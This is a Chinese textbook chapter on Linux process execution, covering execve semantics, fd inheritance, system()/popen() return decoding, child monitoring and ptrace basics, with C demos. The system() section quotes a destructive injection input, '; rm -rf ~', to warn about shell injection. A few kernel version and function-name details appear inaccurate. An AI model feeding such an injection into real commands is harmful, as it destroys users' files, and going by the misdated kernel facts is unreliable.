2.8 程序执行与子进程监控
execve() 究竟替换了进程的哪些部分?哪些属性会跨过 exec 保留下来?system() 的返回值为什么不能直接当退出码用,它还在背后动了哪些信号?waitid() 的 siginfo_t、getrusage() 与 /proc/<pid>/stat 各自能告诉你什么?
写出 fork + exec + wait 的完整骨架;用 FD_CLOEXEC 精确控制哪些 fd 传给子程序;正确解码 system()/pclose() 的返回值;用 waitid + getrusage + /proc 观察子进程的退出原因与资源用量。
2.7 讲了 fork():它复制出一个「和自己一样」的进程。但复制不是目的,替换才是。shell 每执行一条命令,都是 fork 之后立刻 exec:子进程的身份(PID、fd、凭证)保留,地址空间里的代码与数据被新程序整个换掉。
这一章围绕 execve() 的两侧展开:进入前,父进程要决定传哪些 fd、哪些环境变量、哪些信号状态;退出后,父进程要决定怎么等、怎么解释退出原因、怎么统计资源。中间夹着 system() 与 popen() 这两个「方便但危险」的封装——它们把 fork+exec+wait 藏起来,也把信号与注入问题一起藏了进去。
一条主线:exec 是一个有明确保留清单的边界。跨过它,进程号不变,但「进程里装的是什么」全变了。搞清楚清单,你才能解释为什么 nohup 要忽略 SIGHUP、为什么 sudo 要清环境、为什么守护进程要关 fd(2.19)。
2.8.1 execve():替换的是什么
int execve(const char *path, char *const argv[], char *const envp[]) 用 path 指向的可执行文件替换当前进程的地址空间(代码段、数据段、堆、栈、内存映射),并从新程序的入口开始执行。
- 成功:不返回,进程的 PID 不变,调用点之后的代码不存在了;
- 失败:返回
-1,errno为ENOENT、EACCES、ENOEXEC、ELOOP、ENAMETOOLONG、ETXTBSY等,进程继续执行原程序。
「不返回」是 execve 与普通函数最大的区别:写 if (execve(...) == -1) 不是在处理「成功后的分支」,而是在处理唯一能到达的分支。成功路径上没有代码,所以后面必须跟 _exit(127) 之类的兜底。
exec 前后保留与重置的属性:
| 属性 | exec 后 | 说明 |
|---|---|---|
| PID、PPID | 保留 | 进程身份不变 |
| 进程组、会话、控制终端 | 保留 | 作业控制关系不变 |
| 真实/有效 UID、GID、附加组 | 保留 | setuid 位在 exec 时生效(2.9) |
当前工作目录、umask | 保留 | 子程序继承 |
资源限制 RLIMIT_* | 保留 | 父进程设的限制继续生效 |
| 打开的文件描述符 | 保留,除非 FD_CLOEXEC | 见 2.8.3 |
被忽略的信号(SIG_IGN) | 保留 | nohup 就靠这个 |
| 被捕获的信号处理器 | 复位为默认 | 新程序没有旧处理器的地址 |
| 信号掩码 | 保留 | 阻塞集合跟着走 |
| 未决信号 | 保留(Linux) | 不因 exec 丢弃 |
| 备选信号栈 | 关闭 | sigaltstack 设置失效 |
| POSIX 定时器 | 不保留 | timer_create 的定时器消失 |
setitimer 间隔定时器 | 保留 | Linux 行为 |
| 内存映射 | 全部丢弃 | 包括 mmap 的共享映射 |
atexit 处理器 | 全部丢弃 | 新程序重新注册 |
这张表里最容易被忽略的是「忽略的信号保留、捕获的信号复位」。nohup cmd 的实现就是:把 SIGHUP 设为 SIG_IGN,再 exec cmd;因为忽略状态跨 exec 保留,新程序自动免疫终端关闭时的 SIGHUP(前提是新程序自己没有重新安装处理器)。
父进程 子进程(fork 之后) execve 之后
┌──────────────┐ fork ┌──────────────────────┐ execve ┌──────────────────────┐
│ 地址空间 A │ ───────► │ 地址空间 A(COW) │ ─────────► │ 地址空间 B(新程序) │
│ fd 表 0,1,2,3 │ │ fd 表复制(共享 file)│ │ 0,1,2,3 中未 CLOEXEC │
│ SIGINT=handler│ │ SIGINT=handler │ │ SIGINT=SIG_DFL │
└──────────────┘ └──────────────────────┘ └──────────────────────┘
│ │ │
│ waitpid ◄──────────────────┴─────────── _exit(status) ◄───────┘
│ (父进程阻塞,直到子进程终止)
▼
status = 退出码 / 信号 / core dump 标志
读图:时间线从左到右,父进程在 waitpid 处阻塞,子进程在 exec 后跑新程序,结束时通过 _exit 把状态交给内核,内核再唤醒父进程。waitpid 拿到的是子进程终止这件事,不是它的输出;输出要走管道或文件(2.14)。
2.8.2 exec 家族、PATH 与 shebang
execve() 是唯一真正的系统调用,其余五个是库函数,区别只在「怎么找文件」和「怎么传参数/环境」:
| 函数 | 路径 | 参数 | 环境 |
|---|---|---|---|
execl(path, arg0, ..., NULL) | 给定完整路径 | 可变参数列表 | 继承 environ |
execv(path, argv) | 给定完整路径 | 数组 | 继承 environ |
execle(path, arg0, ..., NULL, envp) | 给定完整路径 | 列表 | 显式 envp |
execvp(file, argv) | 查 PATH | 数组 | 继承 environ |
execvpe(file, argv, envp) | 查 PATH | 数组 | 显式 envp(GNU) |
fexecve(fd, argv, envp) | 已打开的 fd | 数组 | 显式 envp(GNU) |
两个细节:
execvp的PATH查找有安全边界。它不会执行「当前目录下的同名文件」,除非PATH里显式包含.;它也不会把EACCES当成「继续找下一个」——只要找到一个文件但没有执行权限,execvp就返回EACCES,不再继续。argv[0]是约定,不是路径。程序可以把它设成任意字符串(登录 shell 用-bash表示 login shell)。内核只看path,不看argv[0]。
shebang 与 ENOEXEC
内核识别可执行文件靠文件头:ELF 魔数 \x7fELF、脚本的 #!。以 #!/bin/sh 开头的文件,内核会改成执行 /bin/sh,并把脚本路径作为参数传进去:
#!/usr/bin/env python3
# ↑ 内核执行 /usr/bin/env,argv = ["/usr/bin/env", "python3", "脚本路径", 原参数...]
#! 后面的解释器只能带一个参数(Linux 把整行剩余部分当作单个参数),所以 #!/usr/bin/env python3 -u 在 Linux 上会把 python3 -u 当成一个整体路径,通常失败。可移植的写法是把选项放进脚本内部,或者用一个小 wrapper。
如果文件既不是 ELF 也没有 #!,execve 返回 ENOEXEC。shell 捕获这个错误后会自己用 /bin/sh 执行它(这就是「没有 shebang 的脚本也能跑」的原因),但你自己调用 execve 时必须处理这个错误,不能假设内核会兜底。
/* 典型的三段式:execvp 失败后按 errno 区分原因 */
execvp(argv[0], argv);
switch (errno) {
case ENOENT:
fprintf(stderr, "%s: command not found\n", argv[0]);
_exit(127);
case EACCES:
fprintf(stderr, "%s: permission denied\n", argv[0]);
_exit(126);
default:
perror("execvp");
_exit(126);
}
127 与 126 是 shell 的约定(找不到命令 / 找到了但不能执行),不是内核约定。自己写 supervisor 时沿用这套码,能让调用方用同一套逻辑解释结果。
2.8.3 fd 继承与 FD_CLOEXEC
exec 会保留所有没有 FD_CLOEXEC 的 fd。这是管道、重定向能工作的基础,也是 fd 泄漏的主要通道:父进程打开的日志、数据库连接、监听 socket,会悄悄出现在子程序里,直到子程序退出才释放。
下面的程序把 exec 前后的 fd、信号处置、环境变量一次性打印出来。它 exec 自己,用参数区分「exec 前」与「exec 后」:
/* exec_inherit.c:观察 exec 前后的 fd、信号与环境 */
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#define MARK "--after-exec"
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
static void on_term(int sig)
{
(void)sig; /* 只用于占位:exec 后应复位成 SIG_DFL */
}
static void show_fds(void)
{
printf("open fds:");
for (int fd = 0; fd < 32; fd++) {
int flags = fcntl(fd, F_GETFD);
if (flags == -1)
continue;
printf(" %d%s", fd, (flags & FD_CLOEXEC) ? "(cloexec)" : "");
}
printf("\n");
}
static const char *disp(const struct sigaction *sa)
{
if (sa->sa_handler == SIG_IGN)
return "SIG_IGN";
if (sa->sa_handler == SIG_DFL)
return "SIG_DFL";
return "handler";
}
int main(int argc, char **argv)
{
if (argc > 1 && strcmp(argv[1], MARK) == 0) {
printf("after exec: pid=%ld ppid=%ld\n", (long)getpid(), (long)getppid());
show_fds();
struct sigaction sa;
if (sigaction(SIGINT, NULL, &sa) == -1)
die("sigaction SIGINT");
printf("SIGINT = %s\n", disp(&sa));
if (sigaction(SIGTERM, NULL, &sa) == -1)
die("sigaction SIGTERM");
printf("SIGTERM = %s\n", disp(&sa));
sigset_t mask;
if (sigprocmask(SIG_SETMASK, NULL, &mask) == -1)
die("sigprocmask");
printf("SIGUSR1 blocked = %s\n",
sigismember(&mask, SIGUSR1) == 1 ? "yes" : "no");
const char *token = getenv("DEMO_TOKEN");
printf("DEMO_TOKEN = %s\n", token ? token : "(unset)");
return EXIT_SUCCESS;
}
printf("before exec: pid=%ld ppid=%ld\n", (long)getpid(), (long)getppid());
/* fd 3:不带 CLOEXEC,exec 后仍在 */
int kept = open("/etc/hosts", O_RDONLY);
if (kept == -1)
die("open /etc/hosts");
printf("kept fd = %d\n", kept);
/* fd 4:带 CLOEXEC,exec 后消失 */
int cloexec = open("/etc/hosts", O_RDONLY | O_CLOEXEC);
if (cloexec == -1)
die("open /etc/hosts");
printf("cloexec fd = %d\n", cloexec);
/* SIGINT 设为忽略:exec 后保留 */
struct sigaction ign = {0};
ign.sa_handler = SIG_IGN;
sigemptyset(&ign.sa_mask);
if (sigaction(SIGINT, &ign, NULL) == -1)
die("sigaction ignore");
/* SIGTERM 设为捕获:exec 后复位为默认 */
struct sigaction caught = {0};
caught.sa_handler = on_term;
sigemptyset(&caught.sa_mask);
if (sigaction(SIGTERM, &caught, NULL) == -1)
die("sigaction catch");
/* 阻塞 SIGUSR1:exec 后仍然阻塞 */
sigset_t block;
sigemptyset(&block);
sigaddset(&block, SIGUSR1);
if (sigprocmask(SIG_BLOCK, &block, NULL) == -1)
die("sigprocmask block");
if (setenv("DEMO_TOKEN", "hello-from-parent", 1) == -1)
die("setenv");
show_fds();
fflush(NULL); /* exec 前清空 stdio,避免缓冲区被丢弃 */
char *new_argv[] = { argv[0], (char *)MARK, NULL };
execv(argv[0], new_argv);
die("execv"); /* 只有失败才到这里 */
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g exec_inherit.c -o exec_inherit
./exec_inherit
输出应该像这样:
before exec: pid=51200 ppid=50911
kept fd = 3
cloexec fd = 4
open fds: 0 1 2 3 4(cloexec)
after exec: pid=51200 ppid=50911
open fds: 0 1 2 3
SIGINT = SIG_IGN
SIGTERM = SIG_DFL
SIGUSR1 blocked = yes
DEMO_TOKEN = hello-from-parent
PID 没变(还是 51200),说明这是同一个进程换了程序;fd 4 消失,fd 3 还在;SIGINT 的忽略状态保留,SIGTERM 的处理器被复位;环境变量跟着 environ 传了过去。这四行就是 exec 语义的实测。
- 「exec 会创建新进程」——不会。PID 不变,只是地址空间被替换。要新进程必须先 fork。
- 「exec 后所有 fd 都关掉」——只关带
FD_CLOEXEC的。O_CLOEXEC、dup3(..., O_CLOEXEC)、fcntl(F_DUPFD_CLOEXEC)才能在创建时原子地设上。 - 「所有信号处置都会被重置」——只有被捕获的复位为默认;被忽略的保持忽略,信号掩码与未决信号也保留。
- 「exec 失败会终止进程」——不会。失败返回 -1,原程序继续跑。必须自己
_exit。
2.8.4 system():方便背后的四个问题
system() 的语义是「把字符串交给 shell 执行,等它结束」。它内部做了不少事:
fork()一个子进程;- 子进程
execl("/bin/sh", "sh", "-c", command, NULL); - 父进程在等待期间忽略
SIGINT与SIGQUIT,并阻塞SIGCHLD; waitpid()等 shell,恢复信号状态,返回等待状态。
忽略 SIGINT/SIGQUIT 是为了让调用者(比如你的程序)不被 Ctrl-C 杀掉,而让 shell 自己处理;阻塞 SIGCHLD 是为了防止你的 SIGCHLD 处理器把 shell 的子进程抢走,导致 system 等不到人。
command == NULL:返回非 0 表示 shell 可用,返回 0 表示不可用;fork或waitpid失败:返回-1,errno有值;- 其他情况:返回 shell 的等待状态(
waitpid的原始status),要用WIFEXITED/WEXITSTATUS/WIFSIGNALED解码。Linux/glibc 与 POSIX 在这里有细微差异,跨平台代码应总是解码,不要直接比较返回值。
/* system_decode.c:正确解码 system() 与 fork+exec 的返回状态 */
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <unistd.h>
static void report(const char *how, int status)
{
if (status == -1) {
fprintf(stderr, "%s: failed: errno=%d\n", how, errno);
return;
}
if (WIFEXITED(status))
printf("%s: exited, code=%d (raw=0x%04x)\n",
how, WEXITSTATUS(status), (unsigned)status);
else if (WIFSIGNALED(status))
printf("%s: killed by signal %d%s (raw=0x%04x)\n",
how, WTERMSIG(status),
WCOREDUMP(status) ? ", core dumped" : "", (unsigned)status);
else if (WIFSTOPPED(status))
printf("%s: stopped by signal %d\n", how, WSTOPSIG(status));
else
printf("%s: other status 0x%04x\n", how, (unsigned)status);
}
static int run_shell(const char *cmd)
{
errno = 0;
int status = system(cmd);
if (status == -1 && errno != 0) {
perror("system");
return -1;
}
return status;
}
static int run_exec(char *const argv[])
{
pid_t pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
execvp(argv[0], argv);
perror("execvp");
_exit(127);
}
int status;
while (waitpid(pid, &status, 0) == -1) {
if (errno != EINTR) {
perror("waitpid");
return -1;
}
}
return status;
}
int main(void)
{
printf("shell available: %s\n", system(NULL) != 0 ? "yes" : "no");
report("system exit 3 ", run_shell("exit 3"));
report("system signal TERM", run_shell("kill -TERM $$"));
report("system not found ", run_shell("no-such-command-xyz"));
report("system true ", run_shell("true"));
char *const argv[] = { "sh", "-c", "exit 9", NULL };
report("fork+exec exit 9 ", run_exec(argv));
return EXIT_SUCCESS;
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g system_decode.c -o system_decode
./system_decode
shell available: yes
system exit 3 : exited, code=3 (raw=0x0300)
system signal TERM: killed by signal 15 (raw=0x000f)
system not found : exited, code=127 (raw=0x7f00)
system true : exited, code=0 (raw=0x0000)
fork+exec exit 9 : exited, code=9 (raw=0x0900)
raw=0x0300 说明返回值确实是 wait 状态:高 8 位是退出码。直接 if (system(cmd) != 0) 会把「命令成功」与「命令返回 256」混在一起——虽然退出码只有 8 位,但更常见的是把 -1、127、128+信号 混为一谈。
四个问题
1. 注入。 system("ls " + user_input) 里,用户输入 ; rm -rf ~ 会被 shell 解释。system 没有「参数数组」的形式,永远不要把不可信数据拼进命令串。
2. 信号语义。 调用期间 SIGINT/SIGQUIT 被忽略。如果你的程序本来有 SIGINT 处理器做优雅退出,system 期间它不会触发;用户按 Ctrl-C 只会打到 shell 与它的前台子进程。
3. 环境与 PATH。 子 shell 继承当前 environ 与 PATH。setuid 程序里调用 system 等于把 root shell 交给 PATH 里的任意同名程序——这是提权漏洞的经典形态(2.9)。
4. 线程安全。 system 会临时改全局信号处置,多线程程序里同时调用两次 system,或与自己的 SIGCHLD 处理器并发,行为都不可依赖。它也不是 async-signal-safe 的,信号处理器里绝对不能调。
- 「
system的返回值就是退出码」——是等待状态。system("exit 3")在 glibc 上返回0x0300,不是 3。 - 「
system不会 fork」——它 fork 一个子进程跑/bin/sh -c,至少两个进程(shell 还可能再 fork 命令本身)。 - 「
system在 setuid 程序里也能用」——危险。shell 会继承有效 UID,PATH、IFS、ENV等环境变量都可能被利用。 - 「
system能拿到命令输出」——不能。它只返回状态;要输出用popen或自己建管道。
2.8.5 popen() 与单向管道
popen(cmd, "r") 返回一个 FILE *,读它就是在读命令的标准输出;pclose() 关闭并等待。"w" 则相反,写它就是在给命令的标准输入喂数据。
FILE *fp = popen("ss -lnt", "r");
if (fp == NULL) {
perror("popen");
return EXIT_FAILURE;
}
char line[512];
while (fgets(line, sizeof line, fp) != NULL)
fputs(line, stdout);
int status = pclose(fp); /* 返回 wait 状态,不是退出码 */
if (status == -1) {
perror("pclose");
} else if (WIFEXITED(status)) {
printf("child exit=%d\n", WEXITSTATUS(status));
}
三个边界:
- 单向。
"r"只能读,"w"只能写。需要同时读写,就得自己pipe()+fork()+dup2()(2.14),或者用socketpair(2.16)。 pclose返回 wait 状态,与system一样要解码。- 死锁。
"w"模式下,如果子进程的输出管道写满而你不读,子进程阻塞;你又在等它读完输入,双方僵住。用popen就不要让子进程产生大量输出。
popen 内部同样走 /bin/sh -c,注入问题与 system 相同。它也不是 async-signal-safe 的。
2.8.6 监控子进程:waitid、getrusage 与 /proc
waitpid 的 status 是一个被编码过的整数,信息量有限。需要知道「谁杀的、为什么、用了多少 CPU、峰值内存多少」时,要用三个来源:
| 来源 | 提供什么 | 时机 |
|---|---|---|
waitid() 的 siginfo_t | si_code(CLD_EXITED/CLD_KILLED/CLD_DUMPED/CLD_STOPPED)、si_uid、si_status | 子进程状态变化时 |
getrusage(RUSAGE_CHILDREN) | 已回收子进程的累计 utime/stime/maxrss/缺页 | 任意时刻,累计值 |
/proc/{pid}/stat | 运行中或僵尸进程的实时状态、线程数、vsize、rss、CPU 时间 | 进程存在期间 |
/proc/{pid}/stat 的字段多且没有名字,最稳的解析方式是先找到最后一个 )(comm 字段可能含空格与括号),再从后面按位置读。
/* spawn_stats.c:waitid + getrusage + /proc/<pid>/stat 三路观察 */
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <unistd.h>
static void die(const char *msg)
{
perror(msg);
exit(EXIT_FAILURE);
}
static void burn_cpu(unsigned long rounds)
{
volatile unsigned long acc = 0;
for (unsigned long i = 0; i < rounds; i++)
acc += i;
}
/* 返回 0 表示解析成功;只取关心的字段 */
static int read_proc_stat(pid_t pid, char *state, long *ppid,
unsigned long *utime, unsigned long *stime,
long *vsize, long *rss)
{
char path[64];
snprintf(path, sizeof path, "/proc/%ld/stat", (long)pid);
int fd = open(path, O_RDONLY | O_CLOEXEC);
if (fd == -1)
return -1;
char buf[4096];
ssize_t n = read(fd, buf, sizeof buf - 1);
close(fd);
if (n <= 0)
return -1;
buf[n] = '\0';
/* comm 在括号里,可能含空格;从最后一个 ')' 之后开始解析 */
char *p = strrchr(buf, ')');
if (p == NULL)
return -1;
p++;
int got = sscanf(p,
" %c %ld"
" %*d %*d %*d %*d %*u" /* pgrp session tty tpgid flags */
" %*lu %*lu %*lu %*lu" /* minflt cminflt majflt cmajflt */
" %lu %lu" /* utime stime */
" %*ld %*ld %*ld %*ld %*ld %*ld %*lu" /* cutime cstime prio nice threads itreal starttime */
" %ld %ld", /* vsize rss */
state, ppid, utime, stime, vsize, rss);
return got == 6 ? 0 : -1;
}
int main(void)
{
int pipefd[2];
if (pipe2(pipefd, O_CLOEXEC) == -1)
die("pipe2");
pid_t pid = fork();
if (pid == -1)
die("fork");
if (pid == 0) {
close(pipefd[0]);
burn_cpu(120000000UL); /* 制造可观测的用户态 CPU 时间 */
if (write(pipefd[1], "x", 1) != 1)
_exit(1);
close(pipefd[1]);
_exit(42);
}
close(pipefd[1]);
/* 等子进程写完再读:此时它已退出或即将退出,/proc 仍可读 */
char c;
ssize_t n;
do {
n = read(pipefd[0], &c, 1);
} while (n == -1 && errno == EINTR);
if (n != 1)
die("read pipe");
close(pipefd[0]);
char state = '?';
long ppid = -1, vsize = -1, rss = -1;
unsigned long utime = 0, stime = 0;
if (read_proc_stat(pid, &state, &ppid, &utime, &stime, &vsize, &rss) == 0) {
printf("/proc: state=%c ppid=%ld utime=%lu stime=%lu vsize=%ld rss=%ld pages\n",
state, ppid, utime, stime, vsize, rss);
} else {
printf("/proc: not readable (进程可能已被回收)\n");
}
siginfo_t si;
memset(&si, 0, sizeof si);
if (waitid(P_PID, (id_t)pid, &si, WEXITED) == -1)
die("waitid");
printf("waitid: si_code=%d si_status=%d si_uid=%u\n",
si.si_code, si.si_status, (unsigned)si.si_uid);
struct rusage ru;
if (getrusage(RUSAGE_CHILDREN, &ru) == -1)
die("getrusage");
printf("rusage: user=%ld.%06lds sys=%ld.%06lds maxrss=%ld kB\n",
(long)ru.ru_utime.tv_sec, (long)ru.ru_utime.tv_usec,
(long)ru.ru_stime.tv_sec, (long)ru.ru_stime.tv_usec,
ru.ru_maxrss);
return EXIT_SUCCESS;
}
cc -std=c17 -D_GNU_SOURCE -Wall -Wextra -Werror -O2 -g spawn_stats.c -o spawn_stats
./spawn_stats
/proc: state=Z ppid=51320 utime=11 stime=0 vsize=2465792 rss=0 pages
waitid: si_code=1 si_status=42 si_uid=1000
rusage: user=0.118000s sys=0.001000s maxrss=1548 kB
三个来源的差异在这几行里很清楚:
/proc是快照,读到的是僵尸状态Z,rss=0(页已释放),utime单位是时钟滴答(sysconf(_SC_CLK_TCK),通常 100);waitid给出事件原因:si_code=1是CLD_EXITED,si_status=42是退出码;getrusage是累计值,包含此前所有已回收子进程;maxrss在 Linux 上以 KB 为单位,在 macOS 上是字节,跨平台要换算。
CLD_EXITED(1)、CLD_KILLED(2)、CLD_DUMPED(3)、CLD_TRAPPED(4)、CLD_STOPPED(5)、CLD_CONTINUED(6)。只有 CLD_EXITED 时 si_status 才是退出码;其他情况是信号号。看到 si_code 不等于 1 却把 si_status 当退出码,是监督进程里常见的错误。
资源用量的口径
getrusage(RUSAGE_CHILDREN) 只统计已经 wait 过的子进程,且是累计值。要统计单个子进程:
- fork 前读一次
RUSAGE_CHILDREN,wait 后再读一次,相减;但多线程/多子进程并发时不可靠; - 用
wait4(pid, &status, 0, &ru)直接拿到该子进程的rusage(Linux 与 BSD 都有); - 子进程自己
getrusage(RUSAGE_SELF),通过管道把结果发回父进程——最精确,但要改子程序。
wait4 是最省事的方式:
struct rusage ru;
int status;
pid_t done = wait4(pid, &status, 0, &ru);
if (done == -1) { /* 错误 */ }
printf("utime=%ld.%06ld maxrss=%ld\n",
(long)ru.ru_utime.tv_sec, (long)ru.ru_utime.tv_usec, ru.ru_maxrss);
2.8.7 ptrace 最小集:观察 syscall
ptrace() 是调试器、strace、沙箱的基础。最小用法分两步:子进程调用 PTRACE_TRACEME 并 exec,父进程用 PTRACE_SYSCALL 让子进程在每次系统调用入口与出口各停一次。
/* 节选:Linux 专用,需 <sys/ptrace.h>、<sys/user.h>、<sys/wait.h> */
#include <sys/ptrace.h>
#include <sys/user.h>
#include <sys/wait.h>
static int trace_syscalls(pid_t pid)
{
int status;
if (waitpid(pid, &status, 0) == -1) /* 等 exec 后的第一次停止 */
return -1;
if (ptrace(PTRACE_SETOPTIONS, pid, 0,
(void *)(long)PTRACE_O_TRACESYSGOOD) == -1)
return -1;
int entering = 1;
for (;;) {
if (ptrace(PTRACE_SYSCALL, pid, 0, 0) == -1)
return -1;
if (waitpid(pid, &status, 0) == -1)
return -1;
if (WIFEXITED(status) || WIFSIGNALED(status))
break;
if (!WIFSTOPPED(status))
continue;
/* 只有带 TRACESYSGOOD 时,syscall-stop 的信号号才是 SIGTRAP|0x80 */
if (WSTOPSIG(status) != (SIGTRAP | 0x80))
continue;
struct user_regs_struct regs;
if (ptrace(PTRACE_GETREGS, pid, 0, ®s) == -1)
return -1;
if (entering)
printf("syscall %lld\n", (long long)regs.orig_rax);
else
printf(" -> %lld\n", (long long)regs.rax);
entering = !entering;
}
return 0;
}
x86-64 上系统调用号在 orig_rax,返回值在 rax;AArch64 上分别在 regs[8] 与 regs[0]。PTRACE_SYSCALL 默认会在每个 syscall 停两次(入口、出口),高并发程序的开销极大——strace -f 让程序慢几十倍是正常现象。
ptrace 还要求权限:非 root 只能跟踪自己的后代,或者目标进程显式 PTRACE_TRACEME;Yama LSM 的 kernel.yama.ptrace_scope 会进一步限制(默认 1,只允许跟踪直系子进程)。
2.8.8 execve() 的内核路径与失败矩阵
这一节回答:execve() 从系统调用入口到新程序第一条指令,中间经过哪些阶段;每个 errno 是哪个阶段产生的。知道阶段,才能判断「为什么文件明明可执行却报 EACCES」。
五个阶段
Linux 6.8 的 fs/exec.c 把执行分成五段,每段都有独立的失败点:
execve(path, argv, envp)
└─ do_execveat_common(AT_FDCWD, path, argv, envp, 0)
├─ alloc_bprm() 分配 struct linux_binprm,复制 argv/envp 指针
├─ bprm_stack_limits() 计算参数+环境总大小,检查 ARG_MAX
├─ copy_strings() 把字符串从用户态复制到内核页
└─ bprm_execve()
├─ do_open_execat() 打开文件,检查权限、挂载点、O_CLOEXEC
├─ bprm_mm_init() 建立临时 mm,准备新栈
├─ prepare_bprm_creds() 计算新凭证(setuid/setgid/file caps)
└─ exec_binprm()
└─ search_binary_handler()
├─ load_elf_binary() ELF
├─ load_script() #! 脚本(binfmt_script)
└─ binfmt_misc 注册的处理器
└─ begin_new_exec()
├─ flush_old_exec() 丢弃旧地址空间、关闭 CLOEXEC fd
├─ exec_mmap() 切换到新 mm
└─ install_exec_creds() 提交新凭证
三个阶段值得单独记:
- 打开阶段(
do_open_execat)决定ENOENT/EACCES/ELOOP/ETXTBSY。它用open_exec(),内部以O_RDONLY | O_LARGEFILE打开并做MAY_EXEC权限检查;文件正被写入(ETXTBSY)也在这里拒绝。 - 格式识别阶段(
search_binary_handler)决定ENOEXEC。它把文件头 256 字节读进bprm->buf,依次调用已注册的linux_binfmt->load_binary;ELF 魔数不匹配、也没有#!,所有处理器都返回-ENOEXEC。 - 提交阶段(
begin_new_exec)之后失败极少,因为旧地址空间已经被丢弃。install_exec_creds()之前,进程仍持有旧凭证;这也是 setuid 程序「exec 那一刻提权」的精确位置。
struct linux_binprm 保存 buf[256](文件头)、interp(实际解释器路径)、cred(待安装凭证)。shebang 的处理方式是:load_script() 把 interp 指向解释器、把解释器路径塞进新 argv,然后让 search_binary_handler() 用新 bprm 再跑一轮格式识别。所以 #!/usr/bin/env python3 实际经历两次格式识别:脚本 → /usr/bin/env(ELF)→ python3(由 env 再 exec)。
execve 的 errno 对照表
| errno | 产生阶段 | 典型原因 | 排查 |
|---|---|---|---|
ENOENT | 打开 | 文件不存在;shebang 解释器不存在;PATH 查找全失败 | ls -l、file、head -1 看解释器 |
EACCES | 打开 | 文件无 x 位;路径中某级目录无 x;解释器无 x;noexec 挂载 | namei -l path、findmnt -T path |
EPERM | 打开/凭证 | no_new_privs 下试图执行带 setuid 的文件(部分内核版本);nosuid 挂载 | grep NoNewPrivs /proc/self/status、findmnt |
ETXTBSY | 打开 | 文件正被某进程以写方式打开(Linux 特有) | fuser -v path、lsof path |
ENOEXEC | 格式识别 | 不是 ELF、没有 shebang;shebang 行超过 127 字节 | file path、head -c 256 path | xxd |
ELIBBAD | 格式识别 | 解释器本身是损坏的 ELF | ldd interpreter |
E2BIG | 参数复制 | argv+envp 超过 ARG_MAX;单个字符串超过 MAX_ARG_STRLEN(128 KiB) | getconf ARG_MAX、xargs --show-limits |
ENAMETOOLONG | 打开 | 路径超过 PATH_MAX(4096)或单个分量超过 NAME_MAX(255) | echo -n path | wc -c |
ELOOP | 打开 | 符号链接层数超过 40 | namei -l path |
ENOTDIR | 打开 | 路径中间某级不是目录 | namei -l path |
EMFILE/ENFILE | 打开解释器 | 进程 fd 耗尽 / 系统文件表耗尽 | ls /proc/pid/fd | wc -l、ulimit -n |
ENOMEM | 任意 | 内核无法分配 bprm、参数页、新 mm | dmesg、cgroup memory |
EFAULT | 参数复制 | argv/envp 指针指向不可读内存 | 检查数组终止符 |
EINVAL | 格式识别 | ELF 头字段非法(如 e_phentsize 不对) | readelf -h |
EACCES 是最容易误判的一个:execve 要求路径上每一级目录都有 x 位,不只是目标文件。/home/alice/bin/tool 对 bob 可执行,但如果 /home/alice 是 700,bob 得到的是 EACCES 而不是 EPERM。用 namei -l 一次看清整条路径的权限。
E2BIG 有两个上限:总大小 ARG_MAX(通常 2 MiB,getconf ARG_MAX)和单个字符串 MAX_ARG_STRLEN(32 页 = 128 KiB)。后者常被忽略:一个 200 KiB 的环境变量会让 execve 直接 E2BIG,即使总大小远未到顶。
execveat()、fexecve() 与 binfmt_misc
execveat(int dirfd, const char *pathname, char *const argv[], char *const envp[], int flags) 在 Linux 2.6.16 加入,解决两个 execve 做不到的事:
flags = AT_EMPTY_PATH时,pathname可以是空串,直接执行dirfd指向的文件——配合O_PATHfd,可以在「文件已被替换/删除」后仍执行打开时的那一份;flags = AT_SYMLINK_NOFOLLOW时,不跟随最后一级符号链接。
fexecve(fd, argv, envp) 是 glibc 包装:优先用 execveat(fd, "", ..., AT_EMPTY_PATH),旧内核回退到 /proc/self/fd/{fd}。后者在 /proc 未挂载或 fd 带 O_CLOEXEC 时会失败,这是容器里 fexecve 报 ENOENT 的常见原因。
binfmt_misc(/proc/sys/fs/binfmt_misc)允许运行时注册新的可执行格式:按扩展名或文件头魔数匹配,把文件交给指定解释器。QEMU 的用户态模拟(qemu-x86_64 跑 x86 二进制)、Wine、Java 的 jar 都靠它。注册项是全局的,容器里要单独挂载并注册,否则镜像里的跨架构二进制无法执行。
# 看当前注册了哪些格式
ls /proc/sys/fs/binfmt_misc/
# 注册 x86-64 ELF 给 qemu 的典型条目(需要 root)
cat /proc/sys/fs/binfmt_misc/qemu-x86_64
2.8.9 FD_CLOEXEC、close_range() 与 fd 泄漏面
这一节回答:为什么「打开时设 O_CLOEXEC」比「打开后 fcntl 设」安全;多线程程序里 fd 是怎么在 fork 与 exec 之间泄漏的;close_range() 解决什么问题。
FD_CLOEXEC 是 fd 的属性,不是打开文件的属性
FD_CLOEXEC 存在fd 表项里(struct fdtable 的 close_on_exec 位图),不在 struct file 里。这意味着:
dup()复制出的新 fd 不继承FD_CLOEXEC(POSIX 规定),要用F_DUPFD_CLOEXEC;fork()复制 fd 表时把该位一起复制;- 对同一个打开文件,可以有 fd 3 带 CLOEXEC、fd 4 不带——exec 后 4 留下、3 关闭;
fcntl(fd, F_SETFD, FD_CLOEXEC)只影响当前 fd,不影响指向同一文件的其它 fd。
| 操作 | 新 fd 的 FD_CLOEXEC | 原子性 |
|---|---|---|
open(path, O_CLOEXEC) | 设置 | 原子:不存在「已打开但未设位」的窗口 |
open(path, 0) + fcntl(F_SETFD) | 手动设置 | 非原子:两步之间 fork+exec 会泄漏 |
dup(fd) | 清除 | 按 POSIX,dup 不继承 |
dup3(fd, newfd, O_CLOEXEC) | 设置 | 原子 |
fcntl(fd, F_DUPFD_CLOEXEC, min) | 设置 | 原子 |
accept4(..., SOCK_CLOEXEC) | 设置 | 原子 |
pipe2(..., O_CLOEXEC) | 设置 | 原子 |
